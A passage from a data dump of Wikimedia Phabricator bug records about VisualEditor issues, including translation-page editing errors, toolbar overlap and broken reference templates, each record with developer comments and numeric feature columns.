MediaWiki has given people tools to insert random characters primarily because they do special things, and we've given up on users being able to magically know them (like ~~~~ or {{DEFAULTSORT:}}). They're all examples of system design failure. The fact that we have extended the metaphor to give ""helpful"" characters that users can trivially type themselves isn't a great reason to create it from scratch.

I'm not dead-set against this, but it feels like a clunky failure. :-(",,,1372355885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.0,0.0,0.0,1.0,8.0,1.0,0.5,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,5.5,2.0,1.0,1.0,1.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,18.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,3.5,1.5,7.5,1.5,2.0,4.0,0.0,0.0,0.0,0.5,4.5,0.0,1.5,0.0,6.5,12.0,3.5,0.0,3.0,0.0,6.5,0.0,1.0,2.0,1.0,0.5,0.0,0.5,0.0,3.8333333333333335,0.7552083333333333,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Character insertion is, in general, the responsibility of your browser/operating system (same as spell check, IME and other general editing tools). Where your local OS fails, we have a 'standard' of providing general tools to let you get OS-level tools (most notably, ULS), rather than one-off ""insert a bunch of random characters"" micro-tools.

MediaWiki has given people tools to insert random characters primarily because they do special things, and we've given up on users being able to magically know them (like ~~~~ or {{DEFAULTSORT:}}). They're all examples of system design failure. The fact that we have extended the metaphor to give ""helpful"" characters that users can trivially type themselves isn't a great reason to create it from scratch.

I'm not dead-set against this, but it feels like a clunky failure. :-("
52286,VisualEditor: Backspace at the beginning of a line before an image inserts the succeeding text as a thumbnail caption,"Screenshot

See the screenshot; before and after the backspace, respectively.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51624

**Attached**: {F11902}",High,80.0,1372341120,1384944160.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-kum7spdwx5xdoe73t4u5,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.480769230769231,0.5192307692307693,"Screenshot

See the screenshot; before and after the backspace, respectively.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11902}"
255167,VisualEditor: Backspace at the beginning of a line before an image inserts the succeeding text as a thumbnail caption,This was fixed months ago; sorry for not spotting this bug report until now.,,,1384944160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kum7spdwx5xdoe73t4u5,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9375,1.0,This was fixed months ago; sorry for not spotting this bug report until now.
255162,VisualEditor: Backspace at the beginning of a line before an image inserts the succeeding text as a thumbnail caption,This is the same issue as Bug 51624 that was originally reported as happening with table cells and then extended to include image captions. I'm not sure which should me marked as duplicate of the other,,,1374599258,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kum7spdwx5xdoe73t4u5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,16.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,4.368421052631579,0.9210526315789473,This is the same issue as Bug 51624 that was originally reported as happening with table cells and then extended to include image captions. I'm not sure which should me marked as duplicate of the other
52285,VisualEditor: Template/Image node shields should not not appear on top of the toolbar,"Screenshot

See screenshot. The template inspector overlaps not only the document (that would be good - see 50241) - but the toolbar.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11898}",High,80.0,1372339980,1375298856.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-7u4x4gvkmazindkefefh,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7818181818181817,0.6545454545454545,"Screenshot

See screenshot. The template inspector overlaps not only the document (that would be good - see 50241) - but the toolbar.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11898}"
255120,VisualEditor: Template/Image node shields should not not appear on top of the toolbar,This would have been fixed this time last week with the general z-index re-write; sorry for only getting to this now.,,,1373519669,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7u4x4gvkmazindkefefh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5925925925925926,0.9259259259259259,This would have been fixed this time last week with the general z-index re-write; sorry for only getting to this now.
255116,VisualEditor: Template/Image node shields should not not appear on top of the toolbar,Another complaint about this - the editor was using Google Chrome 28.0.1500.63 on Ubuntu 13.04.,,,1372793827,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-7u4x4gvkmazindkefefh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,25.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0625,1.0,Another complaint about this - the editor was using Google Chrome 28.0.1500.63 on Ubuntu 13.04.
52284,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Not sure if this should be filed under VisualEditor or Translate.

When clicking the ""edit source"" button on a translation or a page that uses the Translate extension, it isn't possible to edit the wikitext directly; instead, the user is told to use the Translate extension to change the content.

When clicking the ""edit"" button on a translation of a page that uses the Translate extension, it's possible to edit the text with VisualEditor. At first, I thought this was a feature, and that changes would be propagated to the Translate extension, until I tried to save the page and got the following error:

Error saving data to server: Unsuccessful request: Unknown error: ""tpt-target-page"".

If VisualEditor can't be used to edit those pages, it probably shouldn't lead users to believe it can :)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48891
https://bugzilla.wikimedia.org/show_bug.cgi?id=61218",High,80.0,1372338540,1395268154.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,2.0,2.0,3.5,1.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,5.5,9.5,0.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.5,2.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.5,13.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,8.5,3.0,12.0,2.5,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,9.5,4.5,0.0,3.0,0.0,3.0,0.0,2.0,2.5,0.0,2.0,0.0,0.0,0.0,3.872139764996908,0.563646670789528,"Not sure if this should be filed under VisualEditor or Translate.

When clicking the ""edit source"" button on a translation or a page that uses the Translate extension, it isn't possible to edit the wikitext directly; instead, the user is told to use the Translate extension to change the content.

When clicking the ""edit"" button on a translation of a page that uses the Translate extension, it's possible to edit the text with VisualEditor. At first, I thought this was a feature, and that changes would be propagated to the Translate extension, until I tried to save the page and got the following error:

Error saving data to server: Unsuccessful request: Unknown error: ""tpt-target-page"".

If VisualEditor can't be used to edit those pages, it probably shouldn't lead users to believe it can :)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
255068,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Change 119427 merged by jenkins-bot:
Disable VisualEditor on Page Translation output pages

https://gerrit.wikimedia.org/r/119427",,,1395268059,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.111111111111111,1.0,"Change 119427 merged by jenkins-bot:
Disable VisualEditor on Page Translation output pages

GERRIT_URL"
255064,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Change 119427 had a related patch set uploaded by Jforrester:
Disable VisualEditor on Page Translation output pages

https://gerrit.wikimedia.org/r/119427",,,1395190355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,33.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,"Change 119427 had a related patch set uploaded by Jforrester:
Disable VisualEditor on Page Translation output pages

GERRIT_URL"
255060,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","(In reply to comment #9)
> I just VEdited a page on mw.org (Communication) and it seemed to work (beyond
> the translate tags showing up).

Nope, the error happens when you try to edit a translation, not the source page :) e.g. try to edit Communication/it",,,1380618535,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,3.0,0.0,8.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,5.0,11.0,8.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.7894736842105263,"(In reply to comment #9)
QUOTE
QUOTE

Nope, the error happens when you try to edit a translation, not the source page :) e.g. try to edit Communication/it"
255056,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",I just VEdited a page on mw.org (Communication) and it seemed to work (beyond the translate tags showing up).,,,1380277979,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.7916666666666665,0.9166666666666666,I just VEdited a page on mw.org (Communication) and it seemed to work (beyond the translate tags showing up).
255053,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",I assume VE checks whether the page is editable somewhere? I wonder if changing the hook in Translate from getUserPermissionsErrorsExpensive to getUserPermissionsErrors would solve this? Would have to make sure that the hook is efficient then.,,,1374942941,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,13.0,8.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.333333333333333,0.8205128205128205,I assume VE checks whether the page is editable somewhere? I wonder if changing the hook in Translate from getUserPermissionsErrorsExpensive to getUserPermissionsErrors would solve this? Would have to make sure that the hook is efficient then.
255050,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Presumably there is a simple check we can do for whether the page is under the protection of the Translate extension, so we can do

if (
  …
  if <Translate extension installed> && !<page is Translate-protected>
  …
) { <do not load> }

… in the code in ViewPageTarget init?",,,1374858968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,7.0,6.0,3.0,7.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,3.0,13.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,3.3970588235294117,0.6323529411764706,"Presumably there is a simple check we can do for whether the page is under the protection of the Translate extension, so we can do

if (
  …
  if <Translate extension installed> && !<page is Translate-protected>
  …
) { <do not load> }

… in the code in ViewPageTarget init?"
255046,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",*** Bug 51805 has been marked as a duplicate of this bug. ***,,,1374854170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51805 has been marked as a duplicate of this bug. ***
255042,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",*** Bug 51931 has been marked as a duplicate of this bug. ***,,,1374703814,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51931 has been marked as a duplicate of this bug. ***
255036,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","e.g.
https://www.mediawiki.org/wiki/Communication/hu?veaction=edit",,,1374310653,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,"e.g.
URL"
255027,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",%%%*** Bug 51534 has been marked as a duplicate of this bug. ***%%%,,,1374071458,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 51534 has been marked as a duplicate of this bug. ***%%%
255021,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","I tested this on mediawiki.org following a report on the English Wikipedia, but instead of getting an error VisualEditor just silently refused to save the page - the progress bar appeared for a typical amount of time then I was back to the save dialog as if I hadn't pressed save. Lather, rinse, repeat.",,,1374003370,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,15.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,12.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,2.0,4.166666666666667,0.7666666666666667,"I tested this on mediawiki.org following a report on the English Wikipedia, but instead of getting an error VisualEditor just silently refused to save the page - the progress bar appeared for a typical amount of time then I was back to the save dialog as if I hadn't pressed save. Lather, rinse, repeat."
255015,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",Just a note to say that this keeps happening. Thanks!,,,1373956496,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.6666666666666665,1.0,Just a note to say that this keeps happening. Thanks!
52271,VisualEditor: VE eats away the end of </ref>}} templates,"It has happened to me several times that after a simple edition VisualEditor or Parsoid breaks the ""</ref>}}"" at the end of a reference template. I still don't know which is the pattern, but at least this time I realized it:

http://ca.wikipedia.org/w/index.php?title=El_Chornaler&diff=11962426&oldid=11962407

Other times a second editor had to come after me fixing the broken template. In the preview before saving everything looks fine.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372313340,1375941682.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-oqhko7t4wfln3rpauqc5,task_description,resolved,True,c1,2,False,False,True,-1,,1.0,1.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,2.0,10.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,10.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,10.0,2.0,0.0,2.0,0.0,6.0,0.0,1.0,3.0,2.0,2.0,0.0,1.0,3.0,3.8541666666666665,0.6979166666666666,"It has happened to me several times that after a simple edition VisualEditor or Parsoid breaks the ""</ref>}}"" at the end of a reference template. I still don't know which is the pattern, but at least this time I realized it:

URL

Other times a second editor had to come after me fixing the broken template. In the preview before saving everything looks fine.

--------------------------
**Version**: unspecified
**Severity**: normal"
254426,VisualEditor: VE eats away the end of </ref>}} templates,I can't reproduce it either. Let's say it's fixed.,,,1375941682,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-oqhko7t4wfln3rpauqc5,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7857142857142857,I can't reproduce it either. Let's say it's fixed.
